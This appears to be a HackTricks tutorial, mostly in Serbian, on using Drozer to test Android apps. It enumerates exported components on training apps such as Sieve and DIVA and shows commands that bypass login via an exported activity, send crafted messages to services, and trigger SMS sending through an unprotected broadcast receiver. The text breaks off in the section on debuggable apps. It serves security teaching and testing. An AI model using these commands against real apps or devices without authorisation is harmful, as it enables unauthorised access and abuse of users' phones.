# Drozer Tutorial {{#include ../../../banners/hacktricks-training.md}} ## APKs to test - [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (iz mrwlabs) - [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) **Delovi ovog tutorijala su preuzeti iz** [**Drozer dokumentacije pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**.** ## Installation Install Drozer Client inside your host. Download it from the [latest releases](https://github.com/mwrlabs/drozer/releases). ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted pip install service_identity ``` Preuzmite i instalirajte drozer APK sa [najnovijih izdanja](https://github.com/mwrlabs/drozer/releases). U ovom trenutku to je [ovo](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk). ```bash adb install drozer.apk ``` ### Pokretanje Servera Agent radi na portu 31415, potrebno je da [port forward](https://en.wikipedia.org/wiki/Port_forwarding) kako bismo uspostavili komunikaciju između Drozer Klijenta i Agenta, evo komande za to: ```bash adb forward tcp:31415 tcp:31415 ``` Na kraju, **pokrenite** **aplikaciju** i pritisnite dugme "**ON**" ![](<../../../images/image (459).png>) I povežite se sa njom: ```bash drozer console connect ``` ## Interesting Commands | **Commands** | **Description** | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Help MODULE** | Prikazuje pomoć za odabrani modul | | **list** | Prikazuje listu svih drozer modula koji se mogu izvršiti u trenutnoj sesiji. Ovo skriva module za koje nemate odgovarajuće dozvole za pokretanje. | | **shell** | Pokreće interaktivnu Linux ljusku na uređaju, u kontekstu Agenta. | | **clean** | Uklanja privremene datoteke koje drozer čuva na Android uređaju. | | **load** | Učitava datoteku koja sadrži drozer komande i izvršava ih redom. | | **module** | Pronalazi i instalira dodatne drozer module sa Interneta. | | **unset** | Uklanja imenovanu promenljivu koju drozer prosleđuje bilo kojim Linux ljuskama koje pokreće. | | **set** | Čuva vrednost u promenljivoj koja će biti prosleđena kao promenljiva okruženja bilo kojim Linux ljuskama koje drozer pokreće. | | **shell** | Pokreće interaktivnu Linux ljusku na uređaju, u kontekstu Agenta | | **run MODULE** | Izvršava drozer modul | | **exploit** | Drozer može kreirati eksploate za izvršavanje na uređaju. `drozer exploit list` | | **payload** | Eksploati trebaju payload. `drozer payload list` | ### Package Pronađite **ime** paketa filtrirajući po delu imena: ```bash dz> run app.package.list -f sieve com.mwr.example.sieve ``` **Osnovne informacije** o paketu: ```bash dz> run app.package.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Process Name: com.mwr.example.sieve Version: 1.0 Data Directory: /data/data/com.mwr.example.sieve APK Path: /data/app/com.mwr.example.sieve-2.apk UID: 10056 GID: [1028, 1015, 3003] Shared Libraries: null Shared User ID: null Uses Permissions: - android.permission.READ_EXTERNAL_STORAGE - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.INTERNET Defines Permissions: - com.mwr.example.sieve.READ_KEYS - com.mwr.example.sieve.WRITE_KEYS ``` Pročitajte **Manifest**: ```bash run app.package.manifest jakhar.aseem.diva ``` **Površina napada** paketa: ```bash dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable ``` - **Aktivnosti**: Možda možete pokrenuti aktivnost i zaobići neku vrstu autorizacije koja bi trebala da vas spreči da je pokrenete. - **Provajderi sadržaja**: Možda možete pristupiti privatnim podacima ili iskoristiti neku ranjivost (SQL Injection ili Path Traversal). - **Servisi**: - **je debuggable**: [Saznajte više](#is-debuggeable) ### Aktivnosti Vrednost “android:exported” iz izvezene komponente aktivnosti postavljena je na **“true”** u datoteci AndroidManifest.xml: ```html ``` **Lista eksportovanih aktivnosti**: ```bash dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity com.mwr.example.sieve.MainLoginActivity com.mwr.example.sieve.PWList ``` **Start activity**: Možda možete pokrenuti aktivnost i zaobići neku vrstu autorizacije koja bi trebala da vas spreči da je pokrenete. ```bash dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` Možete takođe pokrenuti eksportovanu aktivnost iz **adb**: - PackageName je com.example.demo - Exported ActivityName je com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` ### Content Providers Ova objava je bila prevelika da bi bila ovde, tako da **možete** [**pristupiti njoj na svojoj stranici ovde**](exploiting-content-providers.md). ### Services Izvezeni servis je deklarisan unutar Manifest.xml: ```html ``` Unutar koda **proverite** funkciju **`handleMessage`** koja će **prihvatiti** **poruku**: ![](<../../../images/image (82).png>) #### Lista usluga ```bash dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.AuthService Permission: null com.mwr.example.sieve.CryptoService Permission: null ``` #### **Interagujte** sa uslugom ```bash app.service.send Send a Message to a service, and display the reply app.service.start Start Service app.service.stop Stop Service ``` #### Primer Pogledajte **drozer** pomoć za `app.service.send`: ![](<../../../images/image (1079).png>) Napomena da prvo šaljete podatke unutar "_msg.what_", zatim "_msg.arg1_" i "_msg.arg2_", trebate proveriti unutar koda **koje informacije se koriste** i gde.\ Korišćenjem opcije `--extra` možete poslati nešto što se interpretira kao "_msg.replyTo_", a korišćenjem `--bundle-as-obj` kreirate objekat sa datim detaljima. U sledećem primeru: - `what == 2354` - `arg1 == 9234` - `arg2 == 1` - `replyTo == object(string com.mwr.example.sieve.PIN 1337)` ```bash run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj ``` ![](<../../../images/image (647).png>) ### Broadcast Receivers **U sekciji osnovnih informacija o Androidu možete videti šta je Broadcast Receiver**. Nakon otkrivanja ovih Broadcast Receivers, trebali biste **proveriti kod** njih. Obratite posebnu pažnju na **`onReceive`** funkciju jer će ona obrađivati primljene poruke. #### **Otkrivanje svih** broadcast receivers ```bash run app.broadcast.info #Detects all ``` #### Proverite broadcast receiver-e aplikacije ```bash #Check one negative run app.broadcast.info -a jakhar.aseem.diva Package: jakhar.aseem.diva No matching receivers. # Check one positive run app.broadcast.info -a com.google.android.youtube Package: com.google.android.youtube com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver Permission: null com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver Permission: com.google.android.c2dm.permission.SEND com.google.android.apps.youtube.app.PackageReplacedReceiver Permission: null com.google.android.libraries.youtube.account.AccountsChangedReceiver Permission: null com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver Permission: null ``` #### Broadcast **Interakcije** ```bash app.broadcast.info Get information about broadcast receivers app.broadcast.send Send broadcast using an intent app.broadcast.sniff Register a broadcast receiver that can sniff particular intents ``` #### Pošaljite poruku U ovom primeru, zloupotrebljavajući [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, možete **poslati proizvoljnu SMS** poruku bilo kojoj ne-premijum destinaciji **bez traženja** dozvole od korisnika. ![](<../../../images/image (415).png>) ![](<../../../images/image (573).png>) Ako pročitate kod, parametri "_phoneNumber_" i "_message_" moraju biti poslati Content Provider-u. ```bash run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!" ``` ### Da li je debuggable Proizvodni APK nikada ne bi trebao biti debuggable.\ To znači da možete **priključiti java debugger** na pokrenutu aplikaciju, pregledati je u realnom vremenu, postaviti tačke prekida, ići korak po korak, prikupljati vrednosti promenljivih i čak ih menjati. [InfoSec institute ima odličan članak](../exploiting-a-debuggeable-applciation.md) o dubljem istraživanju kada je vaša aplikacija debuggable i injektovanju koda u realnom vremenu. Kada je aplikacija debuggable, pojaviće se u Manifest-u: ```xml